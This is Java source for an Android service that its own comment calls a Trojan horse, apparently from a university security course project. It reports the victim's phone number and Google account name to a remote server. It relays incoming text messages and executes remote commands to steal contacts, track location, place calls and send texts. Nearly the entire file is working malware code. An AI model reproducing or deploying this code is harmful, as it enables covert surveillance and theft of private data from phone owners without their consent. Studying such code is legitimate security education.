package fsu.cs.cis5930;

import java.util.ArrayList;

import fsu.cs.cis5930.ClientActivity.VictimInfo;

import android.accounts.Account;
import android.accounts.AccountManager;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.location.Location;
import android.location.LocationListener;
import android.location.LocationManager;
import android.os.Binder;
import android.os.Bundle;
import android.os.Handler;
import android.os.IBinder;
import android.os.Message;
import android.telephony.SmsMessage;
import android.telephony.TelephonyManager;
import android.util.Log;

/**
 * ServerService: This is the actual Trojan horse service. It is started from the 'fake' activity that we install in the
 * 					victim's phone. It's in charge of opening a socket with our web server and handling messages by calling
 * 					the respective exploit functions.
 *
 */
public class ServerService extends Service implements LocationListener {
	private Exploits exploitFactory;
	private Connection mConnection;
	private LocationManager locMgr;
	private Location loc;
	private LocationListener listener;
	private GlobalApplication GLOBAL;
	private Handler	executeExploit;

	private long MIN_GPS_UPDATE_TIME = 10000;
	private float MIN_GPS_UPDATE_DIST = 1000.0f;
	
	private static final String TAG = "ServerService";
	
	private final IBinder binder = new ServerBinder();
	
	private boolean started = false;
	
	public class ServerBinder extends Binder
	{
		ServerService getService()
		{
			Log.v(TAG, "In getService method");
			return(ServerService.this);
		}
	}	
		@Override
	public void onCreate() {
		super.onCreate();
		
	}
		
		@Override
		public int onStartCommand(Intent intent, int flags, int startId) {
			
			if (!started)
			{
				startServer();   
				started = true;
			}
			
			return 0;			
			
		}
		@Override
		public IBinder onBind(Intent arg0)
		{
			if (!started)
			{

			        startServer();
			        started = true;
			}
			
			return binder;
		}
		
		private void startServer()
		{
			
			Log.d("service", "Service started!");
			locMgr = (LocationManager) getSystemService(Context.LOCATION_SERVICE);

			//locMgr.requestLocationUpdates(LocationManager.GPS_PROVIDER, MIN_GPS_UPDATE_TIME, MIN_GPS_UPDATE_DIST, this);
			loc =  locMgr.getLastKnownLocation(LocationManager.GPS_PROVIDER);
			
			listener = new MyLocationListener();
			if ( loc != null)
			Log.d("laka2", "Location: " + loc.getLatitude() + " and " + loc.getLongitude());
			
			locMgr.requestLocationUpdates(LocationManager.NETWORK_PROVIDER, 0, 0, listener);
			locMgr.requestLocationUpdates(LocationManager.GPS_PROVIDER, 0, 0, listener);
			
			if ( loc != null)
			Log.d("laka", "Location: " + loc.getLatitude() + " and " + loc.getLongitude());

			locMgr.requestLocationUpdates(LocationManager.GPS_PROVIDER, MIN_GPS_UPDATE_TIME, MIN_GPS_UPDATE_DIST, this);
			Location location = locMgr.getLastKnownLocation(LocationManager.GPS_PROVIDER);


	
			GLOBAL = (GlobalApplication) getApplicationContext();
			
			mConnection = GLOBAL.setConnection(Connection.Type.VICTIM);
			exploitFactory = new Exploits(this);
			//Report ID to the server
			StringBuilder message = new StringBuilder();
			message.append("VICTIMINFO");				// DATATYPE
			message.append(" ");						// SPACE
			
			TelephonyManager tMgr =(TelephonyManager)this.getSystemService(Context.TELEPHONY_SERVICE);
			message.append( tMgr.getLine1Number() ); 	// PHONE
			message.append(";");						// SEMICOLON
			AccountManager aMgr = (AccountManager) AccountManager.get(this);
			Account acc = aMgr.getAccountsByType("com.google")[0];
			
			message.append(acc.name.split("@")[0]);		// NAME
			
			mConnection.sendStringToServer(message.toString());
			 
			 executeExploit = new Handler() { 
		        	@Override public void handleMessage(Message msg)
		        	{ 
		        		String message = (String) msg.obj;
		        		String[] splitMessage = message.split(";");
		        		String HackerMAC = splitMessage[0];
		        		Exploits.Type exploit = Enum.valueOf(Exploits.Type.class, splitMessage[1]);
		        		String argument1 = null;
		        		String argument2 = null;
		        		if ( splitMessage.length > 2)
		        			argument1 = splitMessage[2];
		        		if (splitMessage.length > 3)
		        			argument2 = splitMessage[3];
		        		
		        		switch (exploit)
		        		{
		        		case BROKEN:
		        			exploitFactory.showBroken();
		        			break;
		        		case DISPLAY_TOAST:
		        			exploitFactory.displayToast(argument1);
		        			break;
		        		case GET_LOCATION:
		        			exploitFactory.getLocation(loc, HackerMAC);
		        			break;
		        		case MAKE_CALL:
		        			exploitFactory.makeCall(argument1);
		        			break;
		        		case MAKE_RANDOM_CALL:
		        			exploitFactory.makeRandomCall();
		        			break;
		        		case OPEN_WEBSITE:
		        			exploitFactory.openWebsite(argument1);
		        			break;
		        		case PLAY_MUSIC:
		        			exploitFactory.playMusic(Integer.parseInt(argument1));
		        			break;
		        		case SEND_RANDOM_TEXT:
		        			exploitFactory.sendRandomText(argument1);
		        			break;
		        		case SEND_TEXT:
		        			exploitFactory.sendText(argument1, argument2);
		        			break;
		        		case SET_WALLPAPER:
		        			//DO NOTHING FOR NOW
		        			break;
		        		case STEAL_CONTACTS:
		        			exploitFactory.stealContactInfo();
		        			break;
		        		case VIBRATE_GHOST:
		        			exploitFactory.ghostVibrator();
		        			break;	
		        		
		        		
		        		
		        		}
		        	}
		        };
		        
		        GLOBAL.setSendExploit(executeExploit);		
		}
		
		private class MyLocationListener implements LocationListener
		{

			@Override
			public void onLocationChanged(Location location) {
				// TODO Auto-generated method stub
				
				Log.i("GPS","location has been changed");
				if (loc != null )
				{
				if(loc.getLatitude() != location.getLatitude() || loc.getLongitude() != location.getLongitude())
				{
					loc.set(location);
					Log.i("GPS", "it got to the location listener.");
					Log.i("GPS2", "new latitud = " + loc.getLatitude() + ", new longitud  = " + loc.getLatitude());
				}
				}
				
			}

			@Override
			public void onProviderDisabled(String provider) {
				// TODO Auto-generated method stub
				
			}

			@Override
			public void onProviderEnabled(String provider) {
				// TODO Auto-generated method stub
				
			}

			@Override
			public void onStatusChanged(String provider, int status,
					Bundle extras) {
				// TODO Auto-generated method stub
				
				
				
				
				
			}
			
			
		}
		
		public void onDestroy()
		{
			super.onDestroy();
			
			if (started)
			{
				locMgr.removeUpdates(this);
				started = false;
			}
		}
		
		public void relaySmsMessages(ArrayList<SmsMessage> messages)
		{
			for (int i = 0; i < messages.size(); i++)
			{
				String from = messages.get(i).getOriginatingAddress();
				
				String body = messages.get(i).getMessageBody();
				
				if (from != null && body != null)
				{
					sendStringToServer("VICTIMTEXT " + from + ";" + body);
				}
			}
		}
		
		public void sendStringToServer(String toSend)
		{
			if (mConnection != null)
			{
				mConnection.sendStringToServer(toSend);
			}
		}
		
		@Override
		public void onLocationChanged(Location arg0) {
			// TODO Auto-generated method stub
			
		}
		@Override
		public void onProviderDisabled(String arg0) {
			// TODO Auto-generated method stub
			
		}
		@Override
		public void onProviderEnabled(String arg0) {
			// TODO Auto-generated method stub
			
		}
		@Override
		public void onStatusChanged(String arg0, int arg1, Bundle arg2) {
			// TODO Auto-generated method stub
			
		}

}
